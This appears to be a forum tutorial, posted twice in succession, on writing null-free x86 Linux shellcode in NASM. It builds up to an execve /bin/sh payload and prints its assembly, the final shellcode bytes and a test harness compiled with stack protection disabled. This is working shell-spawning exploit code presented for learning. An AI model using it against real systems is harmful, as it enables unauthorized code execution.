Jan 14, 2014 03:07 AM
(This post was last modified: Feb 15, 2014 05:09 AM by Goodies.)
Hello everyone!
So, those of you that know me here know that I'm in networking. I've recently (over the last 3-4 weeks) have been really focusing on low system level coding (specifically NASM), shellcode writing, and BOF (Buffer OverFlow). In this double-length 2 part tutorial, we are going to go over:
~(1) Writing 2 basic ASM Files that will aid in our shellcode writing
~(1) Writing a Simple /bin/sh Shellcode
~(2) Using this shellcode in a BOF attack
~(2) Using this shellcode in the same attack with ASLR ON
~(3) Using the ret2reg method to 'bypass' ASLR
This tutorial assumes you have basic knowledge in:
~ ASM
~ Registers (eax, ax, ah, al, eip, esp, ebp, etc...)and Common Instructions (xor, lea, mov, int, jmp, jmp (conditions), etc...)
~ Buffer Overflow Methodology and basic Science behind it
I'm writing this tutorial because I know that I don't know everything, but I do want to share what I do know with all of you!
1. Custom Colring Scheme for Intel ASM in NANO - http://pastebin.com/WEXsYE48
2. C File to test our shellcode (Be sure to change "char shellcode" to "char shellcode[]" when needed) - http://pastebin.com/pTdEFU1T
3. OPCODER - takes compiled ASM files and turns them into shellcode \x format - http://pastebin.com/3QkKTs0Q
In part I, I'm focusing on writing ASM whose resulting shellcode does not contain any \x00's in the mix. This will cause a string to terminate and not read the rest of our payload.
I'll go over line by line:
1: SECTION .text - This is the .text section of the ASM file. Obviously.
2: mov eax, 29d - we are moving 29 (d = decimal) into the EAX. 29 is the syscall for 'pause'
3: mov ebx, 0d - we are clearing our EBX register
4: int 80h - we are calling the kernel. interrupt 80 (h = hexidecimal)
5: "" - blank
6: mov eax, 1d - we are moving 1 (d = decimal) into EAX. 1 is the syscall for exit
7: mov ebx, 0d - we are moving 0 (d = decimal) into EBX.
8: int 80h - we are calling the kernel. interrupt 80 (h = hexidecimal)
Alright. Simple enough... let's compile it (note: file is saved as "file.asm"):
On a 32 bit machine:
nasm -f elf32 file.asm
ld -s -o exec file.o
strace ./exec
On a 64 bit machine:
nasm -f elf32 file.asm
ld -s -m elf_i386 -o exec file.o
strace ./exec
Ctrl + C to exit.
Let's look at our OBJDUMP output.
![[Image: 2d71b9a70266142bb138871b703661fb.png]](https://gyazo.com/2d71b9a70266142bb138871b703661fb.png)
You can use the OPCODER at the top to convert this into shellcode:
\xb8\x1d\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80
EAX is a 32 bit (4 byte) register. We are moving just one byte into it. That means that the extra 3 bytes are assumed 0x00's... We still need those 0's, but we can't have that in our program, and moving something 3 bytes or smaller into a 4 byte register causes those 0's to be in the OPCODE.
Luckily for us, the XOR function, when run on the same thing, will return 00's without actually showing any 00's. XOR will compare bit by bit. If the bit is the same as the one to which it is being compared, it is a "0". If it is different, it is a "1". Now, since we compare two identical things, all the bits are the same and will always result in "0"s.
xor eax, eax
xor ebx, ebx
Alright, we still need to have 29 in there. Well, the AL register is a 1 byte register in the EAX (LOWEST 8 bits), so why don't we simply put 29 in THERE instead! That will make the OPCODE 2 bytes shorter
mov al, 29d
Okay, int 80h is fine :)
Now, the AL and BL registers are one byte each in the EAX and EBX respectively. Since the BL would is just going to be 0, we don't need to move anything into it as it is already 0.
mov al, 1d
int 80h
Final code:
Now compile it the same way you did last time. Execute it. Ctrl+C to exit.
Check the objdump output
![[Image: 613d5cdaa1012c4fbc64659b297662eb.png]](https://gyazo.com/613d5cdaa1012c4fbc64659b297662eb.png)
Our shellcode:
\x31\xc0\x31\xdb\xb0\x1d\xcd\x80\xb0\x01\xcd\x80
Put that in SHELL.C (variable 'shellcode') and compile with:
gcc -o shellcode shell.c
./shellcode
Success!
This may be a bit hard to understand for those of you that this thread is your first real introduction of ASM.
If you have been exposed to ASM, chances are, a simple "Hello World" was among your first files. And chances are, it looked something like this:
Line by line:
1: SECTION .data - .data section
2. msg: db "Goodies",10,0 - declares bytes + newline. ,0 is the string terminator
3. msg_length: equ $-msg - current pointer minus msg pointer gives the offset (length of msg) in bytes.
4. SECTION .text - .text(readonly) section
5. mov al, 4d - mov 4 into EAX register. One byte.
6. mov bl, 1d - mov 1 into EBX register. One byte.
7. mov ecx, msg - mov the msg pointer into the ECX register.
8. mov dl, msg_length - mov the msg_length value (in this case 9 because "Goodies"=7 + \x10 + \x00 = 9) into EDX register.
9. int 80h - kernel call
This is all well and good and will work 100% of the time simply compiling and executing. However, if we want it to be shellcode, this will not work.
Why? I'ts purely based on constant memory addresses!! When the application is loaded, THEN the address is chosen. We have no way of knowing beforehand what it will be. When we execute the program and use that memory address as a constant, we will get an error when we compile it into the C program unless it is loaded into the SAME PLACE. What we need to do is have a non-constant way of accessing this WITHOUT being affected by ASLR or offsets.
Let's take a look at the CALL function:
We have a label, R. Say we run:
call R
This is equivalent to:
push eip
jmp R
So, what's happening is the EIP is getting PUSHED onto the stack. That EIP can be the pointer for our shell command "/bin/sh".
Let's start writing:
Let's look at what happens. We are JMPing to the "j" label and pushing the pointer for "shell" onto the stack. Now that the address is on the stack, we can POP it to another registers that will use it. In this case, the ECX register is the one that should point to the message so we will POP it into there :)
Let's look at it line-by-line (Order of execution, NOT written order!):
3. jmp j - JMPing to the label "j". Does not rely on mem address.
10. call r - Calls the R function and pushes the EIP onto the stack. The EIP points to the "msg" label.
5. pop ebx - POP the address (of msg) into the ECX which should point to the message.
6. mov al, 4d - mov 4 into EAX which is the systemout call
7. mov bl, 1d - mov 1 into EBX call type.
8. mov dl, 8d - mov 8 into EDX. This is the length of the string and is hard coded, though with another JMP CALL POP this can be easily configured to be dynamic.
9. int 80h - kernel call
Let's take a look at EXECVE systemcall:
EXECVE
System Call: 11 (11d or 0xb or bh)
Parameters: 3
Param 1: File name (/bin/sh)
Param 2: Parameters (Pointer to /bin/sh)
Param 3: Environment params (nothing... we'll use 4 nul bytes)
Let's take a look at the /bin/sh command. Go ahead and run:
/bin/sh
Type "exit" to exit out of it. Now run
/bin/sh uname -a
You get this:
/usr/bin/uname: /usr/bin/uname: cannot execute binary file
Now try this:
echo -n "uname -a" > cmd.txt
/bin/sh cmd.txt
Now you get the actual output of uname -a:
Linux GoodiesArch 3.10.25-1-MANJARO #1 SMP Sat Dec 21 01:02:47 UTC 2013 x86_64 GNU/Linux
Okay. So we see that it doesn't take an actual parameter, but a POINTER to a parameter. That pointer is going to point to /bin/sh :)
We are going to be utilizing local variables and storing our pointer relative to a register for easy access later. Let's start writing it:
Alright. This would obviouslt throw an error. Let's see what needs to be done:
1) Terminate the string (Now in EBX thanks to the POP) using a single null byte (or multiple is fine, but at least one. I recommend fewest possible)
2) Save the pointer for EBX somewhere locally
3) Save the pointer for 4 null bytes somewhere locally (remember, we can't have \x00 in our shellcode)
4) Load those pointers lateron
I assume I covered the jmp, call, pop enouth, so I'll start from the "r" label:
5. pop ebx - send the address of "shell" to EBX
6. xor eax, eax - clear the EAX register. Now has \x00\x00\x00\x00 in it :)
7. mov BYTE[ebx+7], al - moving AL (single nul byte) to END the string (which is 6 bytes long hence the +7) inside the EBX.
8. mov DWORD[ebx+8], ebx - moving the EBX POINTER inside of the contents of the EBX offset by 8 bytes which is past the string and the nul byte. This is for later recall.
9. mov DWORD[ebx+12], eax - EAX is just nul so we moved 4 nul bytes onto the end there. We have no environment parameters to pass.
10. mov al, 11d - mov 11 into EAX which is the systemcall for EXECVE.
11. lea ecx, [ebx+8] - loading the address of the pointer we saved in memory into the ECX
12. lea edx, [ebx+12] - loading the address of the 4 nul bytes we saved in memory into the EDX
13. int 80h kernel call
Let's look at a visual aid (thanks to stackoverflow):
Okay compile it like we did earlier and execute it!
On a 32 bit machine:
nasm -f elf32 file.asm
ld -s -o exec file.o
./exec
On a 64 bit machine:
nasm -f elf32 file.asm
ld -s -m elf_i386 -o exec file.o
./exec
Note: ASLR is ON! It still works with ASLR on because everything is relative. We're not loading anything from a constant memory address.
![[Image: 54464bc94ea67be5a3de3da26b3ce8b6.png]](https://gyazo.com/54464bc94ea67be5a3de3da26b3ce8b6.png)
Final shellcode:
![[Image: 4f4c319e7513e10852f046bfdd75afef.png]](https://gyazo.com/4f4c319e7513e10852f046bfdd75afef.png)
\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
Let's change that:
unsigned char shellcode =
to
unsigned char shellcode[] =
in the .c file and place the shellcode in thequotes. Compile with:
gcc -fno-stack-protector -z execstack -o shell shell.c
So, those of you that know me here know that I'm in networking. I've recently (over the last 3-4 weeks) have been really focusing on low system level coding (specifically NASM), shellcode writing, and BOF (Buffer OverFlow). In this double-length 2 part tutorial, we are going to go over:
~(1) Writing 2 basic ASM Files that will aid in our shellcode writing
~(1) Writing a Simple /bin/sh Shellcode
~(2) Using this shellcode in a BOF attack
~(2) Using this shellcode in the same attack with ASLR ON
~(3) Using the ret2reg method to 'bypass' ASLR
This tutorial assumes you have basic knowledge in:
~ ASM
~ Registers (eax, ax, ah, al, eip, esp, ebp, etc...)and Common Instructions (xor, lea, mov, int, jmp, jmp (conditions), etc...)
~ Buffer Overflow Methodology and basic Science behind it
Prelude & Files I'm Using:
I'm writing this tutorial because I know that I don't know everything, but I do want to share what I do know with all of you!
1. Custom Colring Scheme for Intel ASM in NANO - http://pastebin.com/WEXsYE48
2. C File to test our shellcode (Be sure to change "char shellcode" to "char shellcode[]" when needed) - http://pastebin.com/pTdEFU1T
3. OPCODER - takes compiled ASM files and turns them into shellcode \x format - http://pastebin.com/3QkKTs0Q
Part I: Core Fundementals + Getting Started
In part I, I'm focusing on writing ASM whose resulting shellcode does not contain any \x00's in the mix. This will cause a string to terminate and not read the rest of our payload.
I'll go over line by line:
Code
SECTION .text
mov eax, 29d
mov ebx, 0d
int 80h
mov eax, 1d
mov ebx, 0d
int 80h1: SECTION .text - This is the .text section of the ASM file. Obviously.
2: mov eax, 29d - we are moving 29 (d = decimal) into the EAX. 29 is the syscall for 'pause'
3: mov ebx, 0d - we are clearing our EBX register
4: int 80h - we are calling the kernel. interrupt 80 (h = hexidecimal)
5: "" - blank
6: mov eax, 1d - we are moving 1 (d = decimal) into EAX. 1 is the syscall for exit
7: mov ebx, 0d - we are moving 0 (d = decimal) into EBX.
8: int 80h - we are calling the kernel. interrupt 80 (h = hexidecimal)
Alright. Simple enough... let's compile it (note: file is saved as "file.asm"):
On a 32 bit machine:
nasm -f elf32 file.asm
ld -s -o exec file.o
strace ./exec
On a 64 bit machine:
nasm -f elf32 file.asm
ld -s -m elf_i386 -o exec file.o
strace ./exec
Ctrl + C to exit.
Let's look at our OBJDUMP output.
![[Image: 2d71b9a70266142bb138871b703661fb.png]](https://gyazo.com/2d71b9a70266142bb138871b703661fb.png)
You can use the OPCODER at the top to convert this into shellcode:
\xb8\x1d\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80
EAX is a 32 bit (4 byte) register. We are moving just one byte into it. That means that the extra 3 bytes are assumed 0x00's... We still need those 0's, but we can't have that in our program, and moving something 3 bytes or smaller into a 4 byte register causes those 0's to be in the OPCODE.
Luckily for us, the XOR function, when run on the same thing, will return 00's without actually showing any 00's. XOR will compare bit by bit. If the bit is the same as the one to which it is being compared, it is a "0". If it is different, it is a "1". Now, since we compare two identical things, all the bits are the same and will always result in "0"s.
xor eax, eax
xor ebx, ebx
Alright, we still need to have 29 in there. Well, the AL register is a 1 byte register in the EAX (LOWEST 8 bits), so why don't we simply put 29 in THERE instead! That will make the OPCODE 2 bytes shorter
mov al, 29d
Okay, int 80h is fine :)
Now, the AL and BL registers are one byte each in the EAX and EBX respectively. Since the BL would is just going to be 0, we don't need to move anything into it as it is already 0.
mov al, 1d
int 80h
Final code:
Code
SECTION .text
xor eax, eax
xor ebx, ebx
mov al, 29d
int 80h
mov al, 1d
int 80hNow compile it the same way you did last time. Execute it. Ctrl+C to exit.
Check the objdump output
![[Image: 613d5cdaa1012c4fbc64659b297662eb.png]](https://gyazo.com/613d5cdaa1012c4fbc64659b297662eb.png)
Our shellcode:
\x31\xc0\x31\xdb\xb0\x1d\xcd\x80\xb0\x01\xcd\x80
Put that in SHELL.C (variable 'shellcode') and compile with:
gcc -o shellcode shell.c
./shellcode
Success!
Part II: JMP, CALL, POP - No Address Needed
This may be a bit hard to understand for those of you that this thread is your first real introduction of ASM.
If you have been exposed to ASM, chances are, a simple "Hello World" was among your first files. And chances are, it looked something like this:
Code
SECTION .data
msg: db "Goodies",10,0
msg_length: equ $-msg
SECTION .text
mov al, 4d
mov bl, 1d
mov ecx, msg
mov dl, msg_length
int 80hLine by line:
1: SECTION .data - .data section
2. msg: db "Goodies",10,0 - declares bytes + newline. ,0 is the string terminator
3. msg_length: equ $-msg - current pointer minus msg pointer gives the offset (length of msg) in bytes.
4. SECTION .text - .text(readonly) section
5. mov al, 4d - mov 4 into EAX register. One byte.
6. mov bl, 1d - mov 1 into EBX register. One byte.
7. mov ecx, msg - mov the msg pointer into the ECX register.
8. mov dl, msg_length - mov the msg_length value (in this case 9 because "Goodies"=7 + \x10 + \x00 = 9) into EDX register.
9. int 80h - kernel call
This is all well and good and will work 100% of the time simply compiling and executing. However, if we want it to be shellcode, this will not work.
Why? I'ts purely based on constant memory addresses!! When the application is loaded, THEN the address is chosen. We have no way of knowing beforehand what it will be. When we execute the program and use that memory address as a constant, we will get an error when we compile it into the C program unless it is loaded into the SAME PLACE. What we need to do is have a non-constant way of accessing this WITHOUT being affected by ASLR or offsets.
Let's take a look at the CALL function:
We have a label, R. Say we run:
call R
This is equivalent to:
push eip
jmp R
So, what's happening is the EIP is getting PUSHED onto the stack. That EIP can be the pointer for our shell command "/bin/sh".
Let's start writing:
Code
SECTION .data
global _start
_start: jmp j
r:
pop ecx
mov al, 4d
mov bl, 1d
mov dl, 8
int 80h
j: call r
msg: db "Goodies",10Let's look at what happens. We are JMPing to the "j" label and pushing the pointer for "shell" onto the stack. Now that the address is on the stack, we can POP it to another registers that will use it. In this case, the ECX register is the one that should point to the message so we will POP it into there :)
Let's look at it line-by-line (Order of execution, NOT written order!):
3. jmp j - JMPing to the label "j". Does not rely on mem address.
10. call r - Calls the R function and pushes the EIP onto the stack. The EIP points to the "msg" label.
5. pop ebx - POP the address (of msg) into the ECX which should point to the message.
6. mov al, 4d - mov 4 into EAX which is the systemout call
7. mov bl, 1d - mov 1 into EBX call type.
8. mov dl, 8d - mov 8 into EDX. This is the length of the string and is hard coded, though with another JMP CALL POP this can be easily configured to be dynamic.
9. int 80h - kernel call
Part III: EXECVE and Spawning our Shell
Let's take a look at EXECVE systemcall:
EXECVE
System Call: 11 (11d or 0xb or bh)
Parameters: 3
Param 1: File name (/bin/sh)
Param 2: Parameters (Pointer to /bin/sh)
Param 3: Environment params (nothing... we'll use 4 nul bytes)
Let's take a look at the /bin/sh command. Go ahead and run:
/bin/sh
Type "exit" to exit out of it. Now run
/bin/sh uname -a
You get this:
/usr/bin/uname: /usr/bin/uname: cannot execute binary file
Now try this:
echo -n "uname -a" > cmd.txt
/bin/sh cmd.txt
Now you get the actual output of uname -a:
Linux GoodiesArch 3.10.25-1-MANJARO #1 SMP Sat Dec 21 01:02:47 UTC 2013 x86_64 GNU/Linux
Okay. So we see that it doesn't take an actual parameter, but a POINTER to a parameter. That pointer is going to point to /bin/sh :)
We are going to be utilizing local variables and storing our pointer relative to a register for easy access later. Let's start writing it:
Code
SECTION .data
global _start
_start: jmp j
r:
pop ebx
j: call r
shell: db "/bin/sh"Alright. This would obviouslt throw an error. Let's see what needs to be done:
1) Terminate the string (Now in EBX thanks to the POP) using a single null byte (or multiple is fine, but at least one. I recommend fewest possible)
2) Save the pointer for EBX somewhere locally
3) Save the pointer for 4 null bytes somewhere locally (remember, we can't have \x00 in our shellcode)
4) Load those pointers lateron
Code
SECTION .data
global _start
_start: jmp j
r:
pop ebx
xor eax, eax
mov BYTE [ebx+7], al
mov DWORD[ebx+8], ebx
mov DWORD[ebx+12], eax
mov al, 11d
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 80h
j: call r
shell: db "/bin/sh"5. pop ebx - send the address of "shell" to EBX
6. xor eax, eax - clear the EAX register. Now has \x00\x00\x00\x00 in it :)
7. mov BYTE[ebx+7], al - moving AL (single nul byte) to END the string (which is 6 bytes long hence the +7) inside the EBX.
8. mov DWORD[ebx+8], ebx - moving the EBX POINTER inside of the contents of the EBX offset by 8 bytes which is past the string and the nul byte. This is for later recall.
9. mov DWORD[ebx+12], eax - EAX is just nul so we moved 4 nul bytes onto the end there. We have no environment parameters to pass.
10. mov al, 11d - mov 11 into EAX which is the systemcall for EXECVE.
11. lea ecx, [ebx+8] - loading the address of the pointer we saved in memory into the ECX
12. lea edx, [ebx+12] - loading the address of the 4 nul bytes we saved in memory into the EDX
13. int 80h kernel call
Let's look at a visual aid (thanks to stackoverflow):
Code
bx
|
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
| / | b | i | n | / | s | h |\0 |bx |bx |bx |bx | 0 | 0 | 0 | 0 |
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
. . . . . . . ^ . . . . . . ^
. . . . . . . cx . . . . . dxOkay compile it like we did earlier and execute it!
On a 32 bit machine:
nasm -f elf32 file.asm
ld -s -o exec file.o
./exec
On a 64 bit machine:
nasm -f elf32 file.asm
ld -s -m elf_i386 -o exec file.o
./exec
Note: ASLR is ON! It still works with ASLR on because everything is relative. We're not loading anything from a constant memory address.
![[Image: 54464bc94ea67be5a3de3da26b3ce8b6.png]](https://gyazo.com/54464bc94ea67be5a3de3da26b3ce8b6.png)
Final shellcode:
![[Image: 4f4c319e7513e10852f046bfdd75afef.png]](https://gyazo.com/4f4c319e7513e10852f046bfdd75afef.png)
\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
Let's change that:
unsigned char shellcode =
to
unsigned char shellcode[] =
in the .c file and place the shellcode in thequotes. Compile with:
gcc -fno-stack-protector -z execstack -o shell shell.c
You've just written your first basic shellcode!!
SRPP Discord Server
I am a professional network/cloud security architect.
My Old Tutorials
I am a professional network/cloud security architect.
My Old Tutorials




![[Image: p8QFEHz.jpg]](https://i.imgur.com/p8QFEHz.jpg)